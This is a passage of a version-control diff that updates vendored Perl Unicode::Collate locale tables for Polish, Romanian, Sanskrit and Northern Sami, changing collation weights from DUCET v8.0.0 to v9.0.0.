-004E 0301 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-00F3      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-015B      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
-0073 0301 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
-0073 0341 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
-015A      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
-0053 0301 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
-0053 0341 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
-017A      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
-007A 0301 ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
-007A 0341 ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
-0179      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
-005A 0301 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
-005A 0341 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
-017C      ; [.1E9E.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
-007A 0307 ; [.1E9E.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
-017B      ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
-005A 0307 ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0105      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH OGONEK
+0061 0328 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH OGONEK
+0104      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK
+0041 0328 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK
+0107      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0301 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0341 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0106      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0301 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0341 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0119      ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH OGONEK
+0065 0328 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH OGONEK
+0118      ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0045 0328 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK
+0142      ; [.1D78.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+006C 0335 ; [.1D78.0020.0002] # LATIN SMALL LETTER L WITH STROKE
+0141      ; [.1D78.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+004C 0335 ; [.1D78.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE
+0144      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+00F3      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+015B      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0301 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+0073 0341 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE
+015A      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0301 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+0053 0341 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE
+017A      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0301 ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+007A 0341 ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE
+0179      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0301 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+005A 0341 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE
+017C      ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
+007A 0307 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
+017B      ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
+005A 0307 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ro.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ro.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ro.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,53 +1,53 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0103      ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE
-0061 0306 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE
-0102      ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
-0041 0306 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
-1EB1      ; [.1BC3.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
-1EB0      ; [.1BC3.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
-1EAF      ; [.1BC3.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
-1EAE      ; [.1BC3.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
-1EB5      ; [.1BC3.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE
-1EB4      ; [.1BC3.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
-1EB3      ; [.1BC3.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
-1EB2      ; [.1BC3.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
-1EB7      ; [.1BC3.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
-1EB6      ; [.1BC3.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
-00E2      ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-0061 0302 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
-00C2      ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-0041 0302 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
-1EA7      ; [.1BC4.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EA6      ; [.1BC4.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
-1EA5      ; [.1BC4.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EA4      ; [.1BC4.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
-1EAB      ; [.1BC4.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
-1EAA      ; [.1BC4.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
-1EA9      ; [.1BC4.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-1EA8      ; [.1BC4.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
-1EAD      ; [.1BC4.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-1EAC      ; [.1BC4.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
-00EE      ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
-0069 0302 ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
-00CE      ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-0049 0302 ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
-015F      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
-0219      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
-0073 0326 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
-015E      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
-0218      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW
-0053 0326 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW
-0163      ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA
-0074 0327 ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA
-021B      ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
-0074 0326 ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
-0162      ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA
-0054 0327 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA
-021A      ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW
-0054 0326 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0103      ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE
+0061 0306 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE
+0102      ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
+0041 0306 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE
+1EB1      ; [.1C48.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE
+1EB0      ; [.1C48.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE
+1EAF      ; [.1C48.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE
+1EAE      ; [.1C48.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE
+1EB5      ; [.1C48.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE
+1EB4      ; [.1C48.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE
+1EB3      ; [.1C48.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE
+1EB2      ; [.1C48.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE
+1EB7      ; [.1C48.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW
+1EB6      ; [.1C48.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW
+00E2      ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+0061 0302 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX
+00C2      ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+0041 0302 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX
+1EA7      ; [.1C49.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EA6      ; [.1C49.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE
+1EA5      ; [.1C49.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EA4      ; [.1C49.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE
+1EAB      ; [.1C49.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE
+1EAA      ; [.1C49.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE
+1EA9      ; [.1C49.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+1EA8      ; [.1C49.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE
+1EAD      ; [.1C49.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+1EAC      ; [.1C49.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW
+00EE      ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
+0069 0302 ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX
+00CE      ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+0049 0302 ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX
+015F      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA
+0219      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
+0073 0326 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW
+015E      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA
+0218      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW
+0053 0326 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW
+0163      ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA
+0074 0327 ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA
+021B      ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
+0074 0326 ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW
+0162      ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA
+0054 0327 ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA
+021A      ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW
+0054 0326 ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sa.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sa.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/sa.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,14 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0902      ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
-0901      ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
-0903      ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
-0950      ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
-0933      ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
-0934      ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA
-0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
-091C 094D 091E ; [.2611.0020.0002][.FFF3.0000.0000] # <DEVANAGARI LETTER JA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER NYA>
-0939      ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0902      ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA
+0901      ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU
+0903      ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA
+0950      ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM
+0933      ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA
+0934      ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA
+0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # <DEVANAGARI LETTER KA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER SSA>
+091C 094D 091E ; [.269E.0020.0002][.FFF3.0000.0000] # <DEVANAGARI LETTER JA, DEVANAGARI SIGN VIRAMA, DEVANAGARI LETTER NYA>
+0939      ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/se.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/se.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/se.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,150 +1,150 @@
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
 # eng, g-stroke, t-stroke don't require tailoring
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E1      ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-010D      ; [.1C07.0020.0002] # LATIN SMALL LETTER C WITH CARON
-0063 030C ; [.1C07.0020.0002] # LATIN SMALL LETTER C WITH CARON
-010C      ; [.1C07.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0043 030C ; [.1C07.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
-0292      ; [.1C08.0020.0002] # LATIN SMALL LETTER EZH
-01B7      ; [.1C08.0020.0008] # LATIN CAPITAL LETTER EZH
-01EF      ; [.1C09.0020.0002] # LATIN SMALL LETTER EZH WITH CARON
-0292 030C ; [.1C09.0020.0002] # LATIN SMALL LETTER EZH WITH CARON
-01EE      ; [.1C09.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON
-01B7 030C ; [.1C09.0020.0008] # LATIN CAPITAL LETTER EZH WITH CARON
-0111      ; [.1C24.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C24.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C24.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C24.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C24.0021.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C24.0021.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C24.0021.0008] # LATIN CAPITAL LETTER ETH
-01E7      ; [.1C7B.0020.0002] # LATIN SMALL LETTER G WITH CARON
-0067 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER G WITH CARON
-01E6      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
-0047 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER G WITH CARON
-01E9      ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CARON
-006B 030C ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CARON
-01E8      ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CARON
-004B 030C ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CARON
-0144      ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D53.0021.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D53.0021.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-00F1      ; [.1D53.0022.0002] # LATIN SMALL LETTER N WITH TILDE
-006E 0303 ; [.1D53.0022.0002] # LATIN SMALL LETTER N WITH TILDE
-00D1      ; [.1D53.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE
-004E 0303 ; [.1D53.0022.0008] # LATIN CAPITAL LETTER N WITH TILDE
-0161      ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-00FE      ; [.1E15.0021.0002] # LATIN SMALL LETTER THORN
-00DE      ; [.1E15.0021.0008] # LATIN CAPITAL LETTER THORN
-00FC      ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-017E      ; [.1F0D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1F0D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1F0D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1F0D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-00F8      ; [.1F0E.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F0E.0020.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F0E.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F0E.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F0E.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F0E.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-0153      ; [.1F0E.0021.0002] # LATIN SMALL LIGATURE OE
-0152      ; [.1F0E.0021.0008] # LATIN CAPITAL LIGATURE OE
-00E6      ; [.1F0F.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F0F.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F0F.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F0F.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F0F.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F0F.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F0F.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F0F.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E5      ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F11.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
-0227      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
-0061 0307 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DOT ABOVE
-0226      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE
-0041 0307 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DOT ABOVE
-00E4      ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00E3      ; [.1F12.0021.0002] # LATIN SMALL LETTER A WITH TILDE
-0061 0303 ; [.1F12.0021.0002] # LATIN SMALL LETTER A WITH TILDE
-00C3      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER A WITH TILDE
